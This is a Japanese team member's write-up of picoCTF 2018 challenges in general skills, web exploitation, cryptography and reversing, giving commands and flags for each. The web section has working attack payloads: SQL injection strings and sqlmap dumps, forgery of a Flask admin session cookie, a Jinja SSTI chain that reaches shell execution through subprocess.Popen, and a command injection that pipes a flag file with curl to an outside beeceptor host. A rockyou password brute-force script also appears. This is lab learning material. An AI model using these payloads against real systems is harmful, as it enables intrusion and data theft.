picoCTF2018にprogfayとnekomaruとチーム「NCC」で参加しました。15510pt獲得して320位でした。
nekomaruのWriteupはこちら↓
picoCTF2018 writeup - 甘味処。
progfayのWriteupはこちら↓
picoCTF2018に少しだけ参加した話 - progfay-pub
僕の解いた問題は
General Skills
- 【Points: 125】grep 2
- 【Points: 150】ssh-keyz
- 【Points: 200】you can't see me
- 【Points: 275】in out error
- 【Points: 300】learn gdb
- 【Points: 400】store
Reversing
Web Exploitation
- 【Points: 200】Irish Name Repo
- 【Points: 200】Mr. Robots
- 【Points: 200】Secret Agent
- 【Points: 250】Buttons
- 【Points: 250】The Vault
- 【Points: 400】fancy-alive-monitoring
- 【Points: 600】Help Me Reset 2
- 【Points: 650】A Simple Question
- 【Points: 350】Flaskcards
- 【Points: 600】Flaskcards Skeleton Key
- 【Points: 900】Flaskcards and Freedom
Cryptography
- 【Points: 75】Crypto Warmup 1
- 【Points: 75】Crypto Warmup 2
- 【Points: 100】HEEEEEEERE'S Johnny!
- 【Points: 200】blaise's cipher
- 【Points: 150】hertz
- 【Points: 200】hertz 2
- 【Points: 150】caesar cipher 1
- 【Points: 250】caesar cipher 2
Binary Exploitation
- 【Points: 150】buffer overflow 0
- 【Points: 200】buffer overflow 1
- 【Points: 250】buffer overflow 2
- 【Points: 200】leak-me
- 【Points: 200】shellcode
- 【Points: 250】got-2-learn-libc
- 【Points: 350】got-shell?
Forensics
WriteUp
General Skills
【Points: 125】grep 2【General Skills】
再帰的にgrepする
$ grep -lr pico ./*
見つけたところに移動して再度grep
$ grep pico ./file20
picoCTF{grep_r_and_you_will_find_556620f7}
【Points: 150】ssh-keyz【General Skills】
SSHkeygenして公開鍵は~/.ssh/authorized_keysに突っ込み、秘密鍵はコピペしてlocalに保存する
mayoneko@2018shell2.picoctf.comにアクセスすると出てくる
picoCTF{who_n33ds_p4ssw0rds_38dj21}
【Points: 200】you can't see me【General Skills】
$ ls
して表示されないファイルを見つけろ的問題
1回$ ls -la
の内容をテキストに保存してから、どこかにアップロードして中身をエディタで見る
curlでコマンドラインから任意のファイルをアップロードできるサービス「transfer.sh」 | ライフハッカー[日本版]
↑ここを参考にした
これによると正しいファイル名は'. '
$ cat '. '
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_f01e45c4}
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_f01e45c4}
【Points: 275】in out error【General Skills】
$ ./in-out-error
これ実行するとめちゃくちゃなのが出る
$ ./in-out-error 2>/dev/null
これ実行すると歌詞っぽいのが出る
$ ./in-out-error 1>/dev/null
Please may I have the flag?
picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}picoCTF{p1p1ng
あとflagが無限に続く
picoCTF{p1p1ng_1S_4_7h1ng_437b5c88}
【Points: 300】learn gdb【General Skills】
gdbの使い方を学ぼうのコーナーらしい
gbdで動かす
繰り返しの中にbreakpointを置いて、毎回レジスタの中身を確認する
繰り返し1回目
(gdb) i r
rax 0x45 69
rbx 0x0 0
rcx 0x7ffe98ddd261 140731463094881
rdx 0x0 0
rsi 0x45 69
rdi 0x7ffe98ddd262 140731463094882
rbp 0x7ffe98ddd270 0x7ffe98ddd270
rsp 0x7ffe98ddd240 0x7ffe98ddd240
r8 0x0 0
r9 0xfffffffffffffff 1152921504606846975
r10 0x0 0
r11 0x7f536d7d85e0 139996295955936
r12 0x400690 4195984
r13 0x7ffe98ddd370 140731463095152
r14 0x0 0
r15 0x0 0
rip 0x400860 0x400860 <decrypt_flag+218>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
繰り返し2回目
(gdb) i r
rax 0x3e 62
rbx 0x0 0
rcx 0x7ffe98ddd261 140731463094881
rdx 0x0 0
rsi 0x3e 62
rdi 0x7ffe98ddd262 140731463094882
rbp 0x7ffe98ddd270 0x7ffe98ddd270
rsp 0x7ffe98ddd240 0x7ffe98ddd240
r8 0x0 0
r9 0xfffffffffffffff 1152921504606846975
r10 0x0 0
r11 0x7f536d7d85e0 139996295955936
r12 0x400690 4195984
r13 0x7ffe98ddd370 140731463095152
r14 0x0 0
r15 0x0 0
rip 0x400860 0x400860 <decrypt_flag+218>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
3回目
(gdb) i r
rax 0x38 56
rbx 0x0 0
rcx 0x7ffe98ddd261 140731463094881
rdx 0x0 0
rsi 0x38 56
rdi 0x7ffe98ddd262 140731463094882
rbp 0x7ffe98ddd270 0x7ffe98ddd270
rsp 0x7ffe98ddd240 0x7ffe98ddd240
r8 0x0 0
r9 0xfffffffffffffff 1152921504606846975
r10 0x0 0
r11 0x7f536d7d85e0 139996295955936
r12 0x400690 4195984
r13 0x7ffe98ddd370 140731463095152
r14 0x0 0
r15 0x0 0
rip 0x400860 0x400860 <decrypt_flag+218>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
変化しているのはraxとrsiだけらしい
以下上記も含めたraxの挙動
それを見た僕のこうだったらいいのになというお気持ちも併記する
rax 0x45 69 p
rax 0x3e 62 i
rax 0x38 56 c
rax 0x44 68 o
rax 0x18 24 C
rax 0x29 41 T
rax 0x1b 27 F
rax 0x50 80 {
rax 0x3c 60 g
rax 0x19 25 D
rax 0x37 55 b
rax 0x34 52 _
rax 0x3e 62 i
rax 0x28 40 S
rax 0x34 52 _
rax 0x48 72 s
rax 0x2a 42 U
rax 0x45 69 p
rax 0x8 8 3
rax 0x47 71 r
rax 0x34 52 _
rax 0x4a 74 u
rax 0xa 10 5
rax 0x8 8 3
rax 0x3b 59 f
rax 0x4a 74 u
rax 0x21 33 L
rax 0x34 52 _
rax 0xb 11 6
rax 0xb 11 6
rax 0x39 57 d
rax 0xa 10 5
rax 0x9 9 4
rax 0xb 11 6
rax 0x9 9 4
rax 0x39 57 d
rax 0x52 82 }
アルファベットでp
の一文字前はo
なので、それを基にお気持ちを配置した
picoCTF{gDb_iS_sUp3r_u53fuL_66d5464d}
お気持ちの勝利である
【Points: 400】store【General Skills】
最初1100円持ってて、オークションに参加できる
1000円で偽flagが買えて、100000円で真flagが買える
オーバーフローさせるために偽flagを2147490個買うと、
Your total cost is: -2147477296
Your new balance: 2147478396
こうなる
無事買える
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_03054e5d}
picoCTF{numb3r3_4r3nt_s4f3_03054e5d}
Reversing
【Points: 50】Reversing Warmup 1【Reversing】
stringsしたらでてきた
picoCTF{welc0m3_t0_r3VeRs1nG}
Web Exploitation
【Points: 200】Irish Name Repo【Web Exploitation】
/login.htmlにアクセス
いかにもSQLインジェクションできそう
picoCTF{con4n_r3411y_1snt_1r1sh_f58843c5}
【Points: 200】Mr. Robots【Web Exploitation】
タイトルの通りにrobots.txt
を見に行く
http://2018shell2.picoctf.com:15298/robots.txt
User-agent: *
Disallow: /c4075.html
/c4075.html
というページ、気になる
http://2018shell2.picoctf.com:15298/c4075.html
So much depends upon a red flag
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_c4075}
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_c4075}
【Points: 200】Secret Agent【Web Exploitation】
agentがgoogleじゃないって怒られる
けど、agentをgoogleにしても同様に怒られる
もしかしてagentいじればXSSできるのでは?とおもった
けど、エスケープされてる
XSSじゃなさそう
GooglebotのUserAgentもってきたら行けた
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
picoCTF{s3cr3t_ag3nt_m4n_12387c22}
【Points: 250】Buttons【Web Exploitation】
一つ目のボタンを押す
→二つ目のボタンが表示される
→二つ目のボタンを押してもだめって言われる
ソースを読むと
- 一つ目のボタンにはPOSTでアクセスしている
- 二つ目のボタンにはaタグが付いてるだけ
POSTしたいのでcurlでPOSTする
$ curl -XPOST http://2018shell2.picoctf.com:44730/button2.php
Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}
picoCTF{button_button_whose_got_the_button_dfe8b73c}
【Points: 250】The Vault【Web Exploitation】
SQLインジェクションかな
めんどくさいからSQLmapつかっちゃえ
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:64349/login.php" --data "username=hoge&password=fuga" --tables
Database: SQLite_masterdb
[1 table]
+-------+
| users |
+-------+
usersテーブルがあるらしい
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:64349/login.php" --data "username=hoge&password=fuga" -T users --dump
相当時間かかるねこれ
Database: SQLite_masterdb
Table: users
[1 entry]
+-------+-------+----------+
| name | admin | password |
+-------+-------+----------+
| admin | 1 | <blank> |
+-------+-------+----------+
passwordが出てこない~~~~~
いろいろ試したあげく、正攻法で解くべきだと気づく
$ curl -XPOST "http://2018shell2.picoctf.com:64349/login.php" --data "username=admin&debug=1&password='union select 1--"
<pre>username: admin
password: 'union select 1--
SQL query: SELECT 1 FROM users WHERE name='admin' AND password=''union select 1--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}</p>
picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}
【Points: 400】fancy-alive-monitoring【Web Exploitation】
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>
<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>
POSTされたデータがipアドレスかどうかチェックするための正規表現が適当に実装されている
その結果execコマンドにipアドレスだけじゃない文字列が入るようになってしまった
迷ったあげくbeeceptorを使う
curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;curl 'https://mayoneko.free.beeceptor.com';ping -c 1 127.0.0.1"
アクセスが来る
ここに何かしらをデータで渡してcurlすれば良さそう
curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;ls | xargs -n1 curl -H "Content-type:text/plain" -XPOST 'https://mayoneko.free.beeceptor.com' --data ;ping -c 1 127.0.0.1"
flagの存在を確認した
curl -XPOST http://2018shell2.picoctf.com:56517 --data "ip=192.168.0.1;cat flag.txt | xargs -n1 curl -H "Content-type:text/plain" -XPOST 'https://mayoneko.free.beeceptor.com' --data ;ping -c 1 127.0.0.1"
picoCTF{n3v3r_trust_a_b0x_36d4a875}
【Points: 600】Help Me Reset 2【Web Exploitation】
実はこの問題の前に『Help Me Reset』という問題があったのだが、不備で消されて新しくなった
なんかトップページの一番下にコメントアウトされてる人の名前がある
gautamさん?
このひとのパスワードをリセットしようとする
→ 存在するアカウントっぽいぞ
→ Resetしようとして適当な言葉を入れまくるとアカウントがロックされる
→ アカウントがロックされるとトップページのメンテナンスする人の名前も変化する
リセットする過程で本人確認のための質問が3種類しかないという法則を見つける
- 車種
- ヒーロー
- 飯
適当に試しまくっているうちに、ヒーローの答えがspidermanであることが判明
しかも誰に変わってもspidermanで入れる
連続でヒーローに当たったためパスワードのリセットに成功
picoCTF{i_thought_i_could_remember_those_a131a54c}
【Points: 650】A Simple Question【Web Exploitation】
SQLインジェクションっぽかったので、answerにt' or 't' = 't
を入れる
なんかウザい
SQLmapを使う
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:2644/answer2.php" --data "answer=answer" --tables
Database: SQLite_masterdb
[1 table]
+---------+
| answers |
+---------+
answersテーブルをdumpさせる
$ python sqlmap.py -o -u "http://2018shell2.picoctf.com:2644/answer2.php" --data "answer=answer" -T "answers" --dump
Database: SQLite_masterdb
Table: answers
[1 entry]
+----------------+
| answer |
+----------------+
| 41AndSixSixths |
+----------------+
このanswerを入力する
picoCTF{qu3stions_ar3_h4rd_28fc1206}
【Points: 350】Flaskcards【Web Exploitation】
今回の最推し目玉商品ならぬ目玉問題なので、ここからのFlaskcardsシリーズ3問はしっかり書く
Flaskなどのテンプレートエンジンには、サーバーサイドテンプレートインジェクション(SSTI)という脆弱性が存在する
https://io.cyberdefense.jp/entry/2017/06/12/Server-Side_Template_Injection
問題
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look? http://2018shell2.picoctf.com:17991/index
代表的な確認方法として、カードを作れる所に{{7*7}}
を入れる
今回は、表示されるところに49が出る(=計算されている)ので、インジェクションが可能であることがわかる
picoCTF{secret_keys_to_the_kingdom_45e7608d}
【Points: 600】Flaskcards Skeleton Key【Web Exploitation】
問題
Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2
. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263
シークレットキーが分かってもすぐにデコードできるわけないので、実際にそのシークレットキーを使ってセッションを作ってみる
from flask import (Flask,session)
from flask_session import Session
app = Flask(__name__)
app.secret_key = "385c16dd09098b011d0086f9e218a0a2"
@app.route('/')
def hello_world():
session["username"] = "fuga"
session["admin"] = "1"
session["login"] = "1"
session["password"] = "hoge"
print(session)
return session["admin"]
これはふつうにログインしたときのセッション
.eJw9j8FuAzEIRP_F5xyMbcDOz6wMhiRqk0i72VPUf69XrcIBMSPxNPMOi6-2XcP5te52CstthHNwb9iwWiZBS8oKOYMNzAMqREagVGK1TqTQKJdSIQmU1Ki0SKI5IrAnHQ6SmVBc0bu5xFo42phOtDL5KCwkjJpkUO5zpTktnEIf99tjRoF567b68np-2WG0qq4FExfW5lUcu6Y2CUWPvJqRah7U59_38_Jh7Jutf-X4Xz363Y6u-6WHn18SokqS.DpIngA.03sR0cHu0M85uukJ_HdZL6BQ1_c
これは自分で作ったコードで作ったセッション
.eJyrVkpMyc3MU7JSMlTSUcrJT4ezCxKLi8vzi1KA3Iz89FSgSGlxalFeYm4qUCStND1RqRYAPacTIg.DpIvUw.O0NOfivgvpyUrYP54Aw0lkjRaTo
明らかに文字数が足りない
そこでこんなツールを見つける
noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
このツールを使ってセッションをデコードしたものがこちら
{'_fresh': True, '_id': 'ff95958e36b5e2c7c1331ed53d181075162408ea66c196344812b142964906bc30517f2cdf1b3765bfc5faefb08470ed65b0e48e35b7b6b75c2bd63abd622229', 'admin': '1', 'csrf_token': '98cfc452747c9f8bf5ac295c24ce36bc35683d6a', 'login': '1', 'user_id': '7', 'username': 'fuga'}
これのuser_id
を1
にしてエンコードし直します
$ pipenv run python session_cookie_manager.py encode -t "{'_fresh': True, '_id': 'ff95958e36b5e2c7c1331ed53d181075162408ea66c196344812b142964906bc30517f2cdf1b3765bfc5faefb08470ed65b0e48e35b7b6b75c2bd63abd622229', 'admin': '1', 'csrf_token': '98cfc452747c9f8bf5ac295c24ce36bc35683d6a', 'login': '1', 'user_id': '1', 'username': 'admin'}" -s "385c16dd09098b011d0086f9e218a0a2"
.eJw9j01uQjEMhO-SNYs4_knCZZ5ix25RC0gPWKHevUGo9cLyjOTP42faYvfbZzre94cf0naa6ZgiOndujqLsxaoBIvhknNAgVwYplJsPEYMuSNSgKFDpQj2LGmaGGsVmgGIV1jCO4aG5Uc0-l5OdFp-1qmhlKzoFx2plVU-HNOb5dFlRYM1222O7X7_8ZfRmYcSlUrUeTYOHlb4IZK-8hiwNp4y19339-Gc8br6_n_tTl3H2Jd-Hfn4BXRBK8g.DpI0oA.PuU-KbqZ4QVomu1ULon9q4D6_Jg
これをセッションに入れて更新すると、Flagが出てくる
picoCTF{1_id_to_rule_them_all_d77c1ed6}
【Points: 900】Flaskcards and Freedom【Web Exploitation】
今回のpicoCTFで一番点数の高いWeb問(だと勝手に思っている)
問題
There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:52168
ヒント
There's more to the original vulnerability than meets the eye.
Can you leverage the injection technique to get remote code execution?
おそらくSSTIを使ってシェルにインジェクションする
試しに、歴代Flaskcardsシリーズの脆弱性は全部試してみるが、見事に全部脆弱なまま
つまり自由、フリーダム
ヒントのとおりOSコマンドを実行する方法を考える
以下の記事を参考にした
{{''.__class__}}
を入力すると<class 'str'>
が帰ってくる
これは''
自体のクラスである<class 'str'>
が出力されている
{{''.__class__.__mro__}}
を入力すると(<class 'str'>, <class 'object'>)
が帰ってくる
これは、<class 'str'>
の先祖のクラスがすべて出力されている
{{''.__class__.__mro__[1].__subclasses__()}}
を入力したのが以下(scrapboxにあげると重すぎたのでprogfayにgistにあげてもらった)
これは、<class 'object'>
のsubclassでこのコード中で用いられているものがすべて出力されている
この長い長い出力の中から、インジェクションに使えそうな関数を探す
<class 'subprocess.Popen'>
というのを使うことにした
上から数えて193個目に存在する
mayonekoはPythonが書けないので、感覚で頑張る
{{''.__class__.__mro__[1].__subclasses__()[193](['/bin/sh', '-c','ls'])}}
スラッシュはエスケープされちゃうみたい
subprocess.Popen
のドキュメントをみて頑張りますが、かなりの時間を消費していきます
ここで様々なコードを試している間に、何度もサーバーがリセットされ、Popenの位置は何度も入れ替わっている
わかりやすさを優先させるため、ここでは全部193で記述することにする
{{''.__class__.__mro__[1].__subclasses__()[193](["cat","flag.txt"],stdout=PIPE,universal_newlines=True).stdout}}
落ちる
なぜ落ちるのか
-
stdout=PIPE
のPIPE
が定数だった - この定数が
subprocess.PIPE
という形で設定されていたため、subprocess
が呼び出せず落ちていた - 自分のシェルで
import subprocess
してからprint(subprocess.PIPE)
することでsubprocess.PIPE==-1
であることがわかる
これを元にさまざまなものを試し、やっと出力に至った入力が以下
{{''.__class__.__mro__[1].__subclasses__()[193](["ls","-la"],stdout=-1, stderr=-1).stdout.read()}}
出力は
b'total 72\ndrwxr-x--- 3 hacksports flaskcards-and-freedom_0 4096 Sep 28 07:47 .\ndrwxr-x--x 576 root root 53248 Sep 30 03:50 ..\ndrwxr-xr-x 3 root root 4096 Sep 28 07:47 app\n-rw-rw-r-- 1 hacksports hacksports 38 Sep 29 17:28 flag\n-rw-rw-r-- 1 hacksports hacksports 61 Sep 29 17:28 server.py\n-rwxr-sr-x 1 hacksports flaskcards-and-freedom_0 105 Sep 29 17:28 xinet_startup.sh\n'
flagなるファイルが存在することを確認
catする
{{''.__class__.__mro__[1].__subclasses__()[193](["cat","flag"],stdout=-1, stderr=-1).stdout.read()}}
picoCTF{R_C_E_wont_let_me_be_33c4aa61}
この問題は最高に楽しかった
Cryptography
【Points: 75】Crypto Warmup 1【Cryptography】
問題
Crpyto can often be done by hand, here's a message you got from a friend, llkjmlmpadkkc with the key of thisisalilkey. Can you use this table to solve it?.
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
+----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
SECRETMESSAGE
が答えみたい
picoCTF{SECRETMESSAGE}
【Points: 75】 Crypto Warmup 2【Cryptography】
問題
Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}
ROT13なのでhttps://www.rot13.com
picoCTF{this_is_crypto!}
【Points: 100】HEEEEEEERE'S Johnny!【Cryptography】
問題
Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell2.picoctf.com 5221. Files can be found here: passwd shadow.
ヒント
If at first you don't succeed, try, try again. And again. And again.
If you're not careful these kind of problems can really "rockyou".
rockyouとは
RockYouから盗まれた3200万のパスワードを分析: 最多はなんと"123456" | TechCrunch Japan
https://www.scrapmaker.com/data/wordlists/dictionaries/rockyou.txt
netcat.py - progfay-pubを使って、地道に試す
from netcat import Netcat
with open('./rockyou.txt') as f:
while True:
s_line = f.readline()
try:
nc = Netcat('2018shell2.picoctf.com', 5221)
for i in range(3):
lines = nc.read().decode('utf-8').split('\n')
for line in lines:
print(line)
mes = lines[-1]
statement = mes.split(' ')
if statement[0] == 'Username:':
nc.write('root')
print('root')
elif statement[0] == 'Password:':
nc.write(s_line)
print(s_line)
elif statement[0] == 'Failed Login!':
print('Failed Login!')
else:
raise Exception
except Exception:
pass
nc.close()
if not s_line:
break
パスワード : kissme
picoCTF{J0hn_1$_R1pp3d_289677b5}
【Points: 200】blaise's cipher【Cryptography】
nekomaru曰く「ヴィジュネル暗号」
4の倍数文字で元に戻っているらしい
Vigenère Cipher - Decoder, Encoder, Solver, Translator
このツールを使って解く
agfl ← これがキー
picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_1c7b92d3}
【Points: 150】hertz【Cryptography】
問題
Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell2.picoctf.com 48186.
ヒント
NOTE: Flag is not in the usual flag format
$ nc 2018shell2.picoctf.com 48186
-------------------------------------------------------------------------------
tqveydfm kpyp um zqcy bnde - mcxmfufcfuqv_tugkpym_dyp_mqnadxnp_asnagastoy
-------------------------------------------------------------------------------
uv d aunndep qb nd sdvtkd, fkp vdsp qb okutk u kdap vq jpmuyp fq tdnn fq
suvj, fkpyp nuapj vqf nqve muvtp qvp qb fkqmp epvfnpspv fkdf ippg d ndvtp
uv fkp ndvtp-ydti, dv qnj xctinpy, d npdv kdti, dvj d eypzkqcvj bqy
tqcymuve. dv qnnd qb ydfkpy sqyp xppb fkdv scffqv, d mdndj qv sqmf
vuekfm, mtydgm qv mdfcyjdzm, npvfunm qv byujdzm, dvj d guepqv qy mq phfyd
qv mcvjdzm, sdjp dodz oufk fkypp-wcdyfpym qb kum uvtqsp. fkp ypmf qb uf
opvf uv d jqcxnpf qb buvp tnqfk dvj apnapf xypptkpm dvj mkqpm fq sdftk
bqy kqnujdzm, okunp qv oppi-jdzm kp sdjp d xydap buecyp uv kum xpmf
kqspmgcv. kp kdj uv kum kqcmp d kqcmpippgpy gdmf bqyfz, d vuptp cvjpy
fopvfz, dvj d ndj bqy fkp bupnj dvj sdyipf-gndtp, okq cmpj fq mdjjnp fkp
kdti dm opnn dm kdvjnp fkp xunn-kqqi. fkp dep qb fkum epvfnpsdv qb qcym
odm xqyjpyuve qv bubfz; kp odm qb d kdyjz kdxuf, mgdyp, edcvf-bpdfcypj, d
apyz pdynz yumpy dvj d eypdf mgqyfmsdv. fkpz ounn kdap uf kum mcyvdsp odm
wcuhdjd qy wcpmdjd (bqy kpyp fkpyp um mqsp jubbpypvtp qb qguvuqv dsqve
fkp dcfkqym okq oyufp qv fkp mcxrptf), dnfkqcek byqs ypdmqvdxnp
tqvrptfcypm uf mppsm gnduv fkdf kp odm tdnnpj wcphdvd. fkum, kqopapy, um
qb xcf nuffnp usgqyfdvtp fq qcy fdnp; uf ounn xp pvqcek vqf fq mfydz d
kduy'm xypdjfk byqs fkp fycfk uv fkp fpnnuve qb uf.
zqc scmf ivqo, fkpv, fkdf fkp dxqap-vdspj epvfnpsdv okpvpapy kp odm df
npumcyp (okutk odm sqmfnz dnn fkp zpdy yqcvj) edap kusmpnb cg fq ypdjuve
xqqim qb tkuadnyz oufk mctk dyjqcy dvj daujufz fkdf kp dnsqmf pvfuypnz
vpenptfpj fkp gcymcuf qb kum bupnj-mgqyfm, dvj papv fkp sdvdepspvf qb kum
gyqgpyfz; dvj fq mctk d guftk juj kum pdepyvpmm dvj uvbdfcdfuqv eq fkdf
kp mqnj sdvz dv dtyp qb funndepndvj fq xcz xqqim qb tkuadnyz fq ypdj, dvj
xyqcekf kqsp dm sdvz qb fkps dm kp tqcnj epf. xcf qb dnn fkpyp opyp vqvp
kp nuipj mq opnn dm fkqmp qb fkp bdsqcm bpnutudvq jp munad'm tqsgqmufuqv,
bqy fkpuy nctujufz qb mfznp dvj tqsgnutdfpj tqvtpufm opyp dm gpdynm uv
kum muekf, gdyfutcndynz okpv uv kum ypdjuve kp tdsp cgqv tqcyfmkugm dvj
tdyfpnm, okpyp kp qbfpv bqcvj gdmmdepm nuip "fkp ypdmqv qb fkp cvypdmqv
oufk okutk sz ypdmqv um dbbnutfpj mq opdipvm sz ypdmqv fkdf oufk ypdmqv u
scyscy df zqcy xpdcfz;" qy deduv, "fkp kuek kpdapvm, fkdf qb zqcy
juauvufz juauvpnz bqyfubz zqc oufk fkp mfdym, ypvjpy zqc jpmpyauve qb fkp
jpmpyf zqcy eypdfvpmm jpmpyapm." qapy tqvtpufm qb fkum mqyf fkp gqqy
epvfnpsdv nqmf kum oufm, dvj cmpj fq nup dodip mfyuauve fq cvjpymfdvj
fkps dvj oqys fkp spdvuve qcf qb fkps; okdf dyumfqfnp kusmpnb tqcnj vqf
kdap sdjp qcf qy phfydtfpj kdj kp tqsp fq nubp deduv bqy fkdf mgptudn
gcygqmp. kp odm vqf df dnn pdmz dxqcf fkp oqcvjm okutk jqv xpnudvum edap
dvj fqqi, xptdcmp uf mppspj fq kus fkdf, eypdf dm opyp fkp mcyepqvm okq
kdj tcypj kus, kp scmf kdap kdj kum bdtp dvj xqjz tqapypj dnn qapy oufk
mpdsm dvj mtdym. kp tqsspvjpj, kqopapy, fkp dcfkqy'm odz qb pvjuve kum
xqqi oufk fkp gyqsump qb fkdf uvfpysuvdxnp djapvfcyp, dvj sdvz d fusp odm
kp fpsgfpj fq fdip cg kum gpv dvj buvumk uf gyqgpynz dm um fkpyp
gyqgqmpj, okutk vq jqcxf kp oqcnj kdap jqvp, dvj sdjp d mcttpmmbcn guptp
qb oqyi qb uf fqq, kdj vqf eypdfpy dvj sqyp dxmqyxuve fkqcekfm gypapvfpj
kus.
アクセスするごとに出てくる文字列が違う
CTF Crypto - A painter and a black cat
いつも参考にしているこのサイトを元に
quipqiup - cryptoquip and cryptogram solver
一文字のやつがaだという事はわかっている
そこから意味の通る単語を辞書に入れながら何度も繰り返すと出る
substitution_ciphers_are_solvable_vmlvpvmcwr
【Points: 200】hertz 2【Cryptography】
Let's decode this now!
Giv dfrcs lnjah mju xfkwt jpvn giv eyzo bjq. R cyh'g lvervpv girt rt tfci yh vyto wnjlevk rh Wrcj. Rg't yekjtg yt rm R tjepvb y wnjlevk yenvybo! Jsyo, mrhv. Ivnv't giv meyq: wrcjCGM{tfltgrgfgrjh_crwivnt_ynv_gjj_vyto_hwyvlnvieg}
hertzと同じサイトを使う
quipqiup - cryptoquip and cryptogram solver
picoCTF{substitution_ciphers_are_too_easy_npaebrehlt}
【Points: 150】caesar cipher 1【Cryptography】
暗号文
picoCTF{payzgmuujurjigkygxiovnkxlcgihubb}
シーザー暗号の解読サイトはたくさんあるのでわざわざ挙げません
答え
picoCTF{justagoodoldcaesarcipherfwacbovv}
【Points: 250】caesar cipher 2【Cryptography】
暗号文
e^Xd8I;pX6ZhVGT8^E]:gHT_jHITVG:cITh:XJg:r
ヒント
Ascii Table - ASCII character codes and html, octal, hex and decimal chart conversion
アスキー文字のコードポイントでシーザー暗号をやっている
ヒントを見ながら解く
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
Binary Exploitation
